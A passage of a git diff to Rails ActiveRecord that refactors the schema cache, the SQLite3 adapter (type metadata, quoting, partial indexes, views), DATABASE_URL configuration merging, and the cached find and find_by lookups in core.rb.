 
       private
 
-      def prepare_default_proc
-        @columns.default_proc = Proc.new do |h, table_name|
-          h[table_name] = connection.columns(table_name)
-        end
-
-        @columns_hash.default_proc = Proc.new do |h, table_name|
-          h[table_name] = Hash[columns(table_name).map { |col|
-            [col.name, col]
-          }]
+        def prepare_tables
+          connection.tables.each { |table| @tables[table] = true }
         end
-
-        @primary_keys.default_proc = Proc.new do |h, table_name|
-          h[table_name] = table_exists?(table_name) ? connection.primary_key(table_name) : nil
-        end
-      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/sql_type_metadata.rb b/activerecord/lib/active_record/connection_adapters/sql_type_metadata.rb
new file mode 100644
index 0000000000..ccb7e154ee
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sql_type_metadata.rb
@@ -0,0 +1,32 @@
+module ActiveRecord
+  # :stopdoc:
+  module ConnectionAdapters
+    class SqlTypeMetadata
+      attr_reader :sql_type, :type, :limit, :precision, :scale
+
+      def initialize(sql_type: nil, type: nil, limit: nil, precision: nil, scale: nil)
+        @sql_type = sql_type
+        @type = type
+        @limit = limit
+        @precision = precision
+        @scale = scale
+      end
+
+      def ==(other)
+        other.is_a?(SqlTypeMetadata) &&
+          attributes_for_hash == other.attributes_for_hash
+      end
+      alias eql? ==
+
+      def hash
+        attributes_for_hash.hash
+      end
+
+      protected
+
+      def attributes_for_hash
+        [self.class, sql_type, type, limit, precision, scale]
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index df489a5b1f..400b586c95 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -14,9 +14,9 @@ module ActiveRecord
         raise ArgumentError, "No database file specified. Missing argument: database"
       end
 
-      # Allow database path relative to Rails.root, but only if
-      # the database path is not the special path that tells
-      # Sqlite to build a database only in memory.
+      # Allow database path relative to Rails.root, but only if the database
+      # path is not the special path that tells sqlite to build a database only
+      # in memory.
       if ':memory:' != config[:database]
         config[:database] = File.expand_path(config[:database], Rails.root) if defined?(Rails.root)
         dirname = File.dirname(config[:database])
@@ -30,22 +30,17 @@ module ActiveRecord
 
       db.busy_timeout(ConnectionAdapters::SQLite3Adapter.type_cast_config_to_integer(config[:timeout])) if config[:timeout]
 
-      ConnectionAdapters::SQLite3Adapter.new(db, logger, config)
+      ConnectionAdapters::SQLite3Adapter.new(db, logger, nil, config)
+    rescue Errno::ENOENT => error
+      if error.message.include?("No such file or directory")
+        raise ActiveRecord::NoDatabaseError.new(error.message, error)
+      else
+        raise
+      end
     end
   end
 
   module ConnectionAdapters #:nodoc:
-    class SQLite3Column < Column #:nodoc:
-      class <<  self
-        def binary_to_string(value)
-          if value.encoding != Encoding::ASCII_8BIT
-            value = value.force_encoding(Encoding::ASCII_8BIT)
-          end
-          value
-        end
-      end
-    end
-
     # The SQLite3 adapter works SQLite 3.6.16 or newer
     # with the sqlite3-ruby drivers (available as gem from https://rubygems.org/gems/sqlite3).
     #
@@ -53,15 +48,32 @@ module ActiveRecord
     #
     # * <tt>:database</tt> - Path to the database file.
     class SQLite3Adapter < AbstractAdapter
+      ADAPTER_NAME = 'SQLite'.freeze
+      include Savepoints
+
+      NATIVE_DATABASE_TYPES = {
+        primary_key:  'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL',
+        string:       { name: "varchar" },
+        text:         { name: "text" },
+        integer:      { name: "integer" },
+        float:        { name: "float" },
+        decimal:      { name: "decimal" },
+        datetime:     { name: "datetime" },
+        time:         { name: "time" },
+        date:         { name: "date" },
+        binary:       { name: "blob" },
+        boolean:      { name: "boolean" }
+      }
+
       class Version
         include Comparable
 
         def initialize(version_string)
-          @version = version_string.split('.').map { |v| v.to_i }
+          @version = version_string.split('.').map(&:to_i)
         end
 
         def <=>(version_string)
-          @version <=> version_string.split('.').map { |v| v.to_i }
+          @version <=> version_string.split('.').map(&:to_i)
         end
       end
 
@@ -84,7 +96,7 @@ module ActiveRecord
         end
 
         def clear
-          cache.values.each do |hash|
+          cache.each_value do |hash|
             dealloc hash[:stmt]
           end
           cache.clear
@@ -100,11 +112,7 @@ module ActiveRecord
         end
       end
 
-      class BindSubstitution < Arel::Visitors::SQLite # :nodoc:
-        include Arel::Visitors::BindVisitor
-      end
-
-      def initialize(connection, logger, config)
+      def initialize(connection, logger, connection_options, config)
         super(connection, logger)
 
         @active     = nil
@@ -112,25 +120,25 @@ module ActiveRecord
                                         self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 }))
         @config = config
 
+        @visitor = Arel::Visitors::SQLite.new self
+
         if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
-          @visitor = Arel::Visitors::SQLite.new self
+          @prepared_statements = true
         else
-          @visitor = unprepared_visitor
+          @prepared_statements = false
         end
       end
 
-      def adapter_name #:nodoc:
-        'SQLite'
-      end
-
-      # Returns true
       def supports_ddl_transactions?
         true
       end
 
-      # Returns true if SQLite version is '3.6.8' or greater, false otherwise.
       def supports_savepoints?
-        sqlite_version >= '3.6.8'
+        true
+      end
+
+      def supports_partial_index?
+        sqlite_version >= '3.8.0'
       end
 
       # Returns true, since this connection adapter supports prepared statement
@@ -144,7 +152,6 @@ module ActiveRecord
         true
       end
 
-      # Returns true.
       def supports_primary_key? #:nodoc:
         true
       end
@@ -153,8 +160,7 @@ module ActiveRecord
         true
       end
 
-      # Returns true
-      def supports_add_column?
+      def supports_views?
         true
       end
 
@@ -175,16 +181,6 @@ module ActiveRecord
         @statements.clear
       end
 
-      # Returns true
-      def supports_count_distinct? #:nodoc:
-        true
-      end
-
-      # Returns true
-      def supports_autoincrement? #:nodoc:
-        true
-      end
-
       def supports_index_sort_order?
         true
       end
@@ -197,20 +193,7 @@ module ActiveRecord
       end
 
       def native_database_types #:nodoc:
-        {
-          :primary_key => default_primary_key_type,
-          :string      => { :name => "varchar", :limit => 255 },
-          :text        => { :name => "text" },
-          :integer     => { :name => "integer" },
-          :float       => { :name => "float" },
-          :decimal     => { :name => "decimal" },
-          :datetime    => { :name => "datetime" },
-          :timestamp   => { :name => "datetime" },
-          :time        => { :name => "time" },
-          :date        => { :name => "date" },
-          :binary      => { :name => "blob" },
-          :boolean     => { :name => "boolean" }
-        }
+        NATIVE_DATABASE_TYPES
       end
 
       # Returns the current database encoding format as a string, eg: 'UTF-8'
@@ -218,17 +201,31 @@ module ActiveRecord
         @connection.encoding.to_s
       end
 
-      # Returns true.
       def supports_explain?
         true
       end
 
       # QUOTING ==================================================
 
-      def quote(value, column = nil)
-        if value.kind_of?(String) && column && column.type == :binary
-          s = value.unpack("H*")[0]
-          "x'#{s}'"
+      def _quote(value) # :nodoc:
+        case value
+        when Type::Binary::Data
+          "x'#{value.hex}'"
+        else
+          super
+        end
+      end
+
+      def _type_cast(value) # :nodoc:
+        case value
+        when BigDecimal
+          value.to_f
+        when String
+          if value.encoding == Encoding::ASCII_8BIT
+            super(value.encode(Encoding::UTF_8))
+          else
+            super
+          end
         else
           super
         end
@@ -246,34 +243,13 @@ module ActiveRecord
         %Q("#{name.to_s.gsub('"', '""')}")
       end
 
-      # Quote date/time values for use in SQL input. Includes microseconds
-      # if the value is a Time responding to usec.
-      def quoted_date(value) #:nodoc:
-        if value.respond_to?(:usec)
-          "#{super}.#{sprintf("%06d", value.usec)}"
-        else
-          super
-        end
-      end
-
-      def type_cast(value, column) # :nodoc:
-        return value.to_f if BigDecimal === value
-        return super unless String === value
-        return super unless column && value
-
-        value = super
-        if column.type == :string && value.encoding == Encoding::ASCII_8BIT
-          logger.error "Binary data inserted for `string` type on column `#{column.name}`" if logger
-          value = value.encode Encoding::UTF_8
-        end
-        value
-      end
-
+      #--
       # DATABASE STATEMENTS ======================================
+      #++
 
       def explain(arel, binds = [])
         sql = "EXPLAIN QUERY PLAN #{to_sql(arel, binds)}"
-        ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds))
+        ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', []))
       end
 
       class ExplainPrettyPrinter
@@ -291,14 +267,18 @@ module ActiveRecord
       end
 
       def exec_query(sql, name = nil, binds = [])
-        log(sql, name, binds) do
+        type_casted_binds = binds.map { |attr| type_cast(attr.value_for_database) }
 
-          # Don't cache statements without bind values
-          if binds.empty?
+        log(sql, name, binds) do
+          # Don't cache statements if they are not prepared
+          if without_prepared_statement?(binds)
             stmt    = @connection.prepare(sql)
-            cols    = stmt.columns
-            records = stmt.to_a
-            stmt.close
+            begin
+              cols    = stmt.columns
+              records = stmt.to_a
+            ensure
+              stmt.close
+            end
             stmt = records
           else
             cache = @statements[sql] ||= {
@@ -307,9 +287,7 @@ module ActiveRecord
             stmt = cache[:stmt]
             cols = cache[:cols] ||= stmt.columns
             stmt.reset!
-            stmt.bind_params binds.map { |col, val|
-              type_cast(val, col)
-            }
+            stmt.bind_params type_casted_binds
           end
 
           ActiveRecord::Result.new(cols, stmt.to_a)
@@ -346,20 +324,8 @@ module ActiveRecord
       end
       alias :create :insert_sql
 
-      def select_rows(sql, name = nil)
-        exec_query(sql, name).rows
-      end
-
-      def create_savepoint
-        execute("SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def rollback_to_savepoint
-        execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def release_savepoint
-        execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+      def select_rows(sql, name = nil, binds = [])
+        exec_query(sql, name, binds).rows
       end
 
       def begin_db_transaction #:nodoc:
@@ -370,7 +336,7 @@ module ActiveRecord
         log('commit transaction',nil) { @connection.commit }
       end
 
-      def rollback_db_transaction #:nodoc:
+      def exec_rollback_db_transaction #:nodoc:
         log('rollback transaction',nil) { @connection.rollback }
       end
 
@@ -380,7 +346,7 @@ module ActiveRecord
         sql = <<-SQL
           SELECT name
           FROM sqlite_master
-          WHERE type = 'table' AND NOT name = 'sqlite_sequence'
+          WHERE (type = 'table' OR type = 'view') AND NOT name = 'sqlite_sequence'
         SQL
         sql << " AND name = #{quote_table_name(table_name)}" if table_name
 
@@ -393,7 +359,7 @@ module ActiveRecord
         table_name && tables(nil, table_name).any?
       end
 
-      # Returns an array of +SQLite3Column+ objects for the table specified by +table_name+.
+      # Returns an array of +Column+ objects for the table specified by +table_name+.
       def columns(table_name) #:nodoc:
         table_structure(table_name).map do |field|
           case field["dflt_value"]
@@ -405,28 +371,41 @@ module ActiveRecord
             field["dflt_value"] = $1.gsub('""', '"')
           end
 
-          SQLite3Column.new(field['name'], field['dflt_value'], field['type'], field['notnull'].to_i == 0)
+          sql_type = field['type']
+          type_metadata = fetch_type_metadata(sql_type)
+          new_column(field['name'], field['dflt_value'], type_metadata, field['notnull'].to_i == 0)
         end
       end
 
       # Returns an array of indexes for the given table.
       def indexes(table_name, name = nil) #:nodoc:
         exec_query("PRAGMA index_list(#{quote_table_name(table_name)})", 'SCHEMA').map do |row|
+          sql = <<-SQL
+            SELECT sql
+            FROM sqlite_master
+            WHERE name=#{quote(row['name'])} AND type='index'
+            UNION ALL
+            SELECT sql
+            FROM sqlite_temp_master
+            WHERE name=#{quote(row['name'])} AND type='index'
+          SQL
+          index_sql = exec_query(sql).first['sql']
+          match = /\sWHERE\s+(.+)$/i.match(index_sql)
+          where = match[1] if match
           IndexDefinition.new(
             table_name,
             row['name'],
             row['unique'] != 0,
             exec_query("PRAGMA index_info('#{row['name']}')", "SCHEMA").map { |col|
               col['name']
-            })
+            }, nil, nil, where)
         end
       end
 
       def primary_key(table_name) #:nodoc:
-        column = table_structure(table_name).find { |field|
-          field['pk'] == 1
-        }
-        column && column['name']
+        pks = table_structure(table_name).select { |f| f['pk'] > 0 }
+        return nil unless pks.count == 1
+        pks[0]['name']
       end
 
       def remove_index!(table_name, index_name) #:nodoc:
@@ -444,12 +423,12 @@ module ActiveRecord
 
       # See: http://www.sqlite.org/lang_altertable.html
       # SQLite has an additional restriction on the ALTER TABLE statement
-      def valid_alter_table_options( type, options)
+      def valid_alter_table_type?(type)
         type.to_sym != :primary_key
       end
 
       def add_column(table_name, column_name, type, options = {}) #:nodoc:
-        if supports_add_column? && valid_alter_table_options( type, options )
+        if valid_alter_table_type?(type)
           super(table_name, column_name, type, options)
         else
           alter_table(table_name) do |definition|
@@ -494,17 +473,12 @@ module ActiveRecord
       end
 
       def rename_column(table_name, column_name, new_column_name) #:nodoc:
-        unless columns(table_name).detect{|c| c.name == column_name.to_s }
-          raise ActiveRecord::ActiveRecordError, "Missing column #{table_name}.#{column_name}"
-        end
-        alter_table(table_name, :rename => {column_name.to_s => new_column_name.to_s})
-        rename_column_indexes(table_name, column_name, new_column_name)
+        column = column_for(table_name, column_name)
+        alter_table(table_name, rename: {column.name => new_column_name.to_s})
+        rename_column_indexes(table_name, column.name, new_column_name)
       end
 
       protected
-        def select(sql, name = nil, binds = []) #:nodoc:
-          exec_query(sql, name, binds)
-        end
 
         def table_structure(table_name)
           structure = exec_query("PRAGMA table_info(#{quote_table_name(table_name)})", 'SCHEMA').to_hash
@@ -550,7 +524,7 @@ module ActiveRecord
           end
           copy_table_indexes(from, to, options[:rename] || {})
           copy_table_contents(from, to,
-            @definition.columns.map {|column| column.name},
+            @definition.columns.map(&:name),
             options[:rename] || {})
         end
 
@@ -563,7 +537,7 @@ module ActiveRecord
               name = name[1..-1]
             end
 
-            to_column_names = columns(to).map { |c| c.name }
+            to_column_names = columns(to).map(&:name)
             columns = index.columns.map {|c| rename[c] || c }.select do |column|
               to_column_names.include?(column)
             end
@@ -580,42 +554,27 @@ module ActiveRecord
         def copy_table_contents(from, to, columns, rename = {}) #:nodoc:
           column_mappings = Hash[columns.map {|name| [name, name]}]
           rename.each { |a| column_mappings[a.last] = a.first }
-          from_columns = columns(from).collect {|col| col.name}
+          from_columns = columns(from).collect(&:name)
           columns = columns.find_all{|col| from_columns.include?(column_mappings[col])}
+          from_columns_to_copy = columns.map { |col| column_mappings[col] }
           quoted_columns = columns.map { |col| quote_column_name(col) } * ','
+          quoted_from_columns = from_columns_to_copy.map { |col| quote_column_name(col) } * ','
 
-          quoted_to = quote_table_name(to)
-
-          raw_column_mappings = Hash[columns(from).map { |c| [c.name, c] }]
-
-          exec_query("SELECT * FROM #{quote_table_name(from)}").each do |row|
-            sql = "INSERT INTO #{quoted_to} (#{quoted_columns}) VALUES ("
-
-            column_values = columns.map do |col|
-              quote(row[column_mappings[col]], raw_column_mappings[col])
-            end
-
-            sql << column_values * ', '
-            sql << ')'
-            exec_query sql
-          end
+          exec_query("INSERT INTO #{quote_table_name(to)} (#{quoted_columns})
+                     SELECT #{quoted_from_columns} FROM #{quote_table_name(from)}")
         end
 
         def sqlite_version
           @sqlite_version ||= SQLite3Adapter::Version.new(select_value('select sqlite_version(*)'))
         end
 
-        def default_primary_key_type
-          if supports_autoincrement?
-            'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL'
-          else
-            'INTEGER PRIMARY KEY NOT NULL'
-          end
-        end
-
         def translate_exception(exception, message)
           case exception.message
-          when /column(s)? .* (is|are) not unique/
+          # SQLite 3.8.2 returns a newly formatted error message:
+          #   UNIQUE constraint failed: *table_name*.*column_name*
+          # Older versions of SQLite return:
+          #   column *column_name* is not unique
+          when /column(s)? .* (is|are) not unique/, /UNIQUE constraint failed: .*/
             RecordNotUnique.new(message, exception)
           else
             super
diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb
index a1943dfcb0..984af79642 100644
--- a/activerecord/lib/active_record/connection_handling.rb
+++ b/activerecord/lib/active_record/connection_handling.rb
@@ -1,5 +1,8 @@
 module ActiveRecord
   module ConnectionHandling
+    RAILS_ENV   = -> { (Rails.env if defined?(Rails.env)) || ENV["RAILS_ENV"] || ENV["RACK_ENV"] }
+    DEFAULT_ENV = -> { RAILS_ENV.call || "default_env" }
+
     # Establishes the connection to the database. Accepts a hash as input where
     # the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
     # example for regular databases (MySQL, Postgresql, etc):
@@ -15,14 +18,14 @@ module ActiveRecord
     # Example for SQLite database:
     #
     #   ActiveRecord::Base.establish_connection(
-    #     adapter:  "sqlite",
+    #     adapter:  "sqlite3",
     #     database: "path/to/dbfile"
     #   )
     #
     # Also accepts keys as strings (for parsing from YAML for example):
     #
     #   ActiveRecord::Base.establish_connection(
-    #     "adapter"  => "sqlite",
+    #     "adapter"  => "sqlite3",
     #     "database" => "path/to/dbfile"
     #   )
     #
@@ -32,11 +35,19 @@ module ActiveRecord
     #     "postgres://myuser:mypass@localhost/somedatabase"
     #   )
     #
+    # In case <tt>ActiveRecord::Base.configurations</tt> is set (Rails
+    # automatically loads the contents of config/database.yml into it),
+    # a symbol can also be given as argument, representing a key in the
+    # configuration hash:
+    #
+    #   ActiveRecord::Base.establish_connection(:production)
+    #
     # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
     # may be returned on an error.
-    def establish_connection(spec = ENV["DATABASE_URL"])
-      resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new spec, configurations
-      spec = resolver.spec
+    def establish_connection(spec = nil)
+      spec     ||= DEFAULT_ENV.call.to_sym
+      resolver =   ConnectionAdapters::ConnectionSpecification::Resolver.new configurations
+      spec     =   resolver.spec(spec)
 
       unless respond_to?(spec.adapter_method)
         raise AdapterNotFound, "database configuration specifies nonexistent #{spec.config[:adapter]} adapter"
@@ -46,6 +57,29 @@ module ActiveRecord
       connection_handler.establish_connection self, spec
     end
 
+    class MergeAndResolveDefaultUrlConfig # :nodoc:
+      def initialize(raw_configurations)
+        @raw_config = raw_configurations.dup
+        @env = DEFAULT_ENV.call.to_s
+      end
+
+      # Returns fully resolved connection hashes.
+      # Merges connection information from `ENV['DATABASE_URL']` if available.
+      def resolve
+        ConnectionAdapters::ConnectionSpecification::Resolver.new(config).resolve_all
+      end
+
+      private
+        def config
+          @raw_config.dup.tap do |cfg|
+            if url = ENV['DATABASE_URL']
+              cfg[@env] ||= {}
+              cfg[@env]["url"] ||= url
+            end
+          end
+        end
+    end
+
     # Returns the connection currently associated with the class. This can
     # also be used to "borrow" the connection to do database work unrelated
     # to any of the specific Active Records.
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
index 2b1e997ef4..44d587206d 100644
--- a/activerecord/lib/active_record/core.rb
+++ b/activerecord/lib/active_record/core.rb
@@ -1,6 +1,7 @@
+require 'thread'
 require 'active_support/core_ext/hash/indifferent_access'
 require 'active_support/core_ext/object/duplicable'
-require 'thread'
+require 'active_support/core_ext/string/filters'
 
 module ActiveRecord
   module Core
@@ -16,7 +17,6 @@ module ActiveRecord
       mattr_accessor :logger, instance_writer: false
 
       ##
-      # :singleton-method:
       # Contains the database configuration - as is typically stored in config/database.yml -
       # as a Hash.
       #
@@ -42,9 +42,16 @@ module ActiveRecord
       #         'database' => 'db/production.sqlite3'
       #      }
       #   }
-      mattr_accessor :configurations, instance_writer: false
+      def self.configurations=(config)
+        @@configurations = ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+      end
       self.configurations = {}
 
+      # Returns fully resolved configurations hash
+      def self.configurations
+        @@configurations
+      end
+
       ##
       # :singleton-method:
       # Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling
@@ -69,12 +76,19 @@ module ActiveRecord
       mattr_accessor :timestamped_migrations, instance_writer: false
       self.timestamped_migrations = true
 
-      def self.disable_implicit_join_references=(value)
-        ActiveSupport::Deprecation.warn("Implicit join references were removed with Rails 4.1." \
-                                        "Make sure to remove this configuration because it does nothing.")
-      end
+      ##
+      # :singleton-method:
+      # Specify whether schema dump should happen at the end of the
+      # db:migrate rake task. This is true by default, which is useful for the
+      # development environment. This should ideally be false in the production
+      # environment where dumping schema is rarely needed.
+      mattr_accessor :dump_schema_after_migration, instance_writer: false
+      self.dump_schema_after_migration = true
+
+      mattr_accessor :maintain_test_schema, instance_accessor: false
 
       class_attribute :default_connection_handler, instance_writer: false
+      class_attribute :find_by_statement_cache
 
       def self.connection_handler
         ActiveRecord::RuntimeRegistry.connection_handler || default_connection_handler
@@ -88,15 +102,98 @@ module ActiveRecord
     end
 
     module ClassMethods
-      def initialize_generated_modules
+      def allocate
+        define_attribute_methods
+        super
+      end
+
+      def initialize_find_by_cache # :nodoc:
+        self.find_by_statement_cache = {}.extend(Mutex_m)
+      end
+
+      def inherited(child_class) # :nodoc:
+        child_class.initialize_find_by_cache
         super
+      end
+
+      def find(*ids) # :nodoc:
+        # We don't have cache keys for this stuff yet
+        return super unless ids.length == 1
+        return super if block_given? ||
+                        primary_key.nil? ||
+                        default_scopes.any? ||
+                        current_scope ||
+                        columns_hash.include?(inheritance_column) ||
+                        ids.first.kind_of?(Array)
+
+        id  = ids.first
+        if ActiveRecord::Base === id
+          id = id.id
+          ActiveSupport::Deprecation.warn(<<-MSG.squish)
+            You are passing an instance of ActiveRecord::Base to `find`.
+            Please pass the id of the object by calling `.id`
+          MSG
+        end
+        key = primary_key
+
+        s = find_by_statement_cache[key] || find_by_statement_cache.synchronize {
+          find_by_statement_cache[key] ||= StatementCache.create(connection) { |params|
+            where(key => params.bind).limit(1)
+          }
+        }
+        record = s.execute([id], self, connection).first
+        unless record
+          raise RecordNotFound, "Couldn't find #{name} with '#{primary_key}'=#{id}"
+        end
+        record
+      rescue RangeError
+        raise RecordNotFound, "Couldn't find #{name} with an out of range value for '#{primary_key}'"
+      end
+
+      def find_by(*args) # :nodoc:
+        return super if current_scope || !(Hash === args.first) || reflect_on_all_aggregations.any?
+        return super if default_scopes.any?
+
+        hash = args.first
+
+        return super if hash.values.any? { |v|
+          v.nil? || Array === v || Hash === v
+        }
+
+        # We can't cache Post.find_by(author: david) ...yet
+        return super unless hash.keys.all? { |k| columns_hash.has_key?(k.to_s) }
+
+        key  = hash.keys
+
+        klass = self
+        s = find_by_statement_cache[key] || find_by_statement_cache.synchronize {
+          find_by_statement_cache[key] ||= StatementCache.create(connection) { |params|
+            wheres = key.each_with_object({}) { |param,o|
+              o[param] = params.bind
+            }
+            klass.where(wheres).limit(1)
+          }
+        }
+        begin
+          s.execute(hash.values, self, connection).first
+        rescue TypeError => e
+          raise ActiveRecord::StatementInvalid.new(e.message, e)
+        rescue RangeError
+          nil
+        end
+      end
+
+      def find_by!(*args) # :nodoc:
+        find_by(*args) or raise RecordNotFound.new("Couldn't find #{name}")
+      end
 
-        generated_feature_methods
+      def initialize_generated_modules # :nodoc:
+        generated_association_methods
       end
 
-      def generated_feature_methods
-        @generated_feature_methods ||= begin
-          mod = const_set(:GeneratedFeatureMethods, Module.new)
+      def generated_association_methods
+        @generated_association_methods ||= begin
+          mod = const_set(:GeneratedAssociationMethods, Module.new)
           include mod
           mod
         end
@@ -109,9 +206,9 @@ module ActiveRecord
         elsif abstract_class?
           "#{super}(abstract)"
         elsif !connected?
-          "#{super}(no database connection)"
+          "#{super} (call '#{super}.connection' to establish a connection)"
         elsif table_exists?
-          attr_list = columns.map { |c| "#{c.name}: #{c.type}" } * ', '
+          attr_list = attribute_types.map { |name, type| "#{name}: #{type.type}" } * ', '
           "#{super}(#{attr_list})"
         else
           "#{super}(Table doesn't exist)"
@@ -126,14 +223,14 @@ module ActiveRecord
       # Returns an instance of <tt>Arel::Table</tt> loaded with the current table name.
       #
       #   class Post < ActiveRecord::Base
-      #     scope :published_and_commented, published.and(self.arel_table[:comments_count].gt(0))
+      #     scope :published_and_commented, -> { published.and(self.arel_table[:comments_count].gt(0)) }
       #   end
-      def arel_table
-        @arel_table ||= Arel::Table.new(table_name, arel_engine)
+      def arel_table # :nodoc:
+        @arel_table ||= Arel::Table.new(table_name, type_caster: type_caster)
       end
 
       # Returns the Arel engine.
-      def arel_engine
+      def arel_engine # :nodoc:
         @arel_engine ||=
           if Base == self || connection_handler.retrieve_connection_pool(self)
             self
@@ -142,10 +239,18 @@ module ActiveRecord
           end
       end
 
+      def predicate_builder # :nodoc:
+        @predicate_builder ||= PredicateBuilder.new(table_metadata)
+      end
+
+      def type_caster # :nodoc:
+        TypeCaster::Map.new(self)
+      end
+
       private
 
-      def relation #:nodoc:
-        relation = Relation.create(self, arel_table)
+      def relation # :nodoc:
+        relation = Relation.create(self, arel_table, predicate_builder)
 
         if finder_needs_type_condition?
           relation.where(type_condition).create_with(inheritance_column.to_sym => sti_name)
@@ -153,6 +258,10 @@ module ActiveRecord
           relation
         end
       end
+
+      def table_metadata # :nodoc:
+        TableMetadata.new(self, arel_table)
+      end
     end
 
     # New objects can be instantiated as either empty (pass no construction parameter) or pre-set with
@@ -164,21 +273,16 @@ module ActiveRecord
     #   # Instantiates a single new object
     #   User.new(first_name: 'Jamie')
     def initialize(attributes = nil)
-      defaults = self.class.column_defaults.dup
-      defaults.each { |k, v| defaults[k] = v.dup if v.duplicable? }
-
-      @attributes   = self.class.initialize_attributes(defaults)
-      @columns_hash = self.class.column_types.dup
+      @attributes = self.class._default_attributes.dup
+      self.class.define_attribute_methods
 
       init_internals
-      init_changed_attributes
-      ensure_proper_type
-      populate_with_current_scope_attributes
+      initialize_internals_callback
 
       assign_attributes(attributes) if attributes
 
       yield self if block_given?
-      run_callbacks :initialize unless _initialize_callbacks.empty?
+      _run_initialize_callbacks
     end
 
     # Initialize an empty model object from +coder+. +coder+ must contain
@@ -192,15 +296,16 @@ module ActiveRecord
     #   post.init_with('attributes' => { 'title' => 'hello world' })
     #   post.title # => 'hello world'
     def init_with(coder)
-      @attributes   = self.class.initialize_attributes(coder['attributes'])
-      @columns_hash = self.class.column_types.merge(coder['column_types'] || {})
+      @attributes = coder['attributes']
 
       init_internals
 
-      @new_record = false
+      @new_record = coder['new_record']
 
-      run_callbacks :find
-      run_callbacks :initialize
+      self.class.define_attribute_methods
+
+      _run_find_callbacks
+      _run_initialize_callbacks
 
       self
     end
@@ -233,24 +338,17 @@ module ActiveRecord
 
     ##
     def initialize_dup(other) # :nodoc:
-      cloned_attributes = other.clone_attributes(:read_attribute_before_type_cast)
-      self.class.initialize_attributes(cloned_attributes, :serialized => false)
-
-      @attributes = cloned_attributes
-      @attributes[self.class.primary_key] = nil
-
-      run_callbacks(:initialize) unless _initialize_callbacks.empty?
+      @attributes = @attributes.dup
+      @attributes.reset(self.class.primary_key)
 
-      @changed_attributes = {}
-      init_changed_attributes
+      _run_initialize_callbacks
 
       @aggregation_cache = {}
       @association_cache = {}
-      @attributes_cache  = {}
 
       @new_record  = true
+      @destroyed   = false
 
-      ensure_proper_type
       super
     end
 
@@ -267,7 +365,10 @@ module ActiveRecord
     #   Post.new.encode_with(coder)
     #   coder # => {"attributes" => {"id" => nil, ... }}
     def encode_with(coder)
-      coder['attributes'] = attributes
+      # FIXME: Remove this when we better serialize attributes
+      coder['raw_attributes'] = attributes_before_type_cast
+      coder['attributes'] = @attributes
+      coder['new_record'] = new_record?
     end
 
     # Returns true if +comparison_object+ is the same exact object, or +comparison_object+
@@ -282,7 +383,7 @@ module ActiveRecord
     def ==(comparison_object)
       super ||
         comparison_object.instance_of?(self.class) &&
-        id.present? &&
+        !id.nil? &&
         comparison_object.id == id
     end
     alias :eql? :==
@@ -290,7 +391,11 @@ module ActiveRecord
     # Delegates to id in order to allow two records of the same type and id to work with something like:
     #   [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
     def hash
-      id.hash
+      if id
+        id.hash
+      else
+        super
+      end
     end
 
     # Clone and freeze the attributes hash such that associations are still
@@ -310,6 +415,8 @@ module ActiveRecord
     def <=>(other_object)
       if other_object.is_a?(self.class)
         self.to_key <=> other_object.to_key
+      else
+        super
       end
     end
 
@@ -344,21 +451,45 @@ module ActiveRecord
       "#<#{self.class} #{inspection}>"
     end
 
+    # Takes a PP and prettily prints this record to it, allowing you to get a nice result from `pp record`
+    # when pp is required.
+    def pretty_print(pp)
+      return super if custom_inspect_method_defined?
+      pp.object_address_group(self) do
+        if defined?(@attributes) && @attributes
+          column_names = self.class.column_names.select { |name| has_attribute?(name) || new_record? }
+          pp.seplist(column_names, proc { pp.text ',' }) do |column_name|
+            column_value = read_attribute(column_name)
+            pp.breakable ' '
+            pp.group(1) do
+              pp.text column_name
+              pp.text ':'
+              pp.breakable
+              pp.pp column_value
+            end
+          end
+        else
+          pp.breakable ' '
+          pp.text 'not initialized'
+        end
+      end
+    end
+
     # Returns a hash of the given methods with their names as keys and returned values as values.
     def slice(*methods)
       Hash[methods.map! { |method| [method, public_send(method)] }].with_indifferent_access
     end
 
+    private
+
     def set_transaction_state(state) # :nodoc:
       @transaction_state = state
     end
 
     def has_transactional_callbacks? # :nodoc:
-      !_rollback_callbacks.empty? || !_commit_callbacks.empty? || !_create_callbacks.empty?
+      !_rollback_callbacks.empty? || !_commit_callbacks.empty?
     end
 
-    private
-
     # Updates the attributes on this particular ActiveRecord object so that
     # if it is associated with a transaction, then the state of the AR object
     # will be updated to reflect the current state of the transaction
@@ -381,13 +512,12 @@ module ActiveRecord
     end
 
     def update_attributes_from_transaction_state(transaction_state, depth)
-      if transaction_state && !has_transactional_callbacks?
+      @reflects_state = [false] if depth == 0
+
+      if transaction_state && transaction_state.finalized? && !has_transactional_callbacks?
         unless @reflects_state[depth]
-          if transaction_state.committed?
-            committed!
-          elsif transaction_state.rolledback?
-            rolledback!
-          end
+          restore_transaction_record_state if transaction_state.rolledback?
+          clear_transaction_record_state
           @reflects_state[depth] = true
         end
 
@@ -410,14 +540,8 @@ module ActiveRecord
     end
 
     def init_internals
-      pk = self.class.primary_key
-      @attributes[pk] = nil unless @attributes.key?(pk)
-
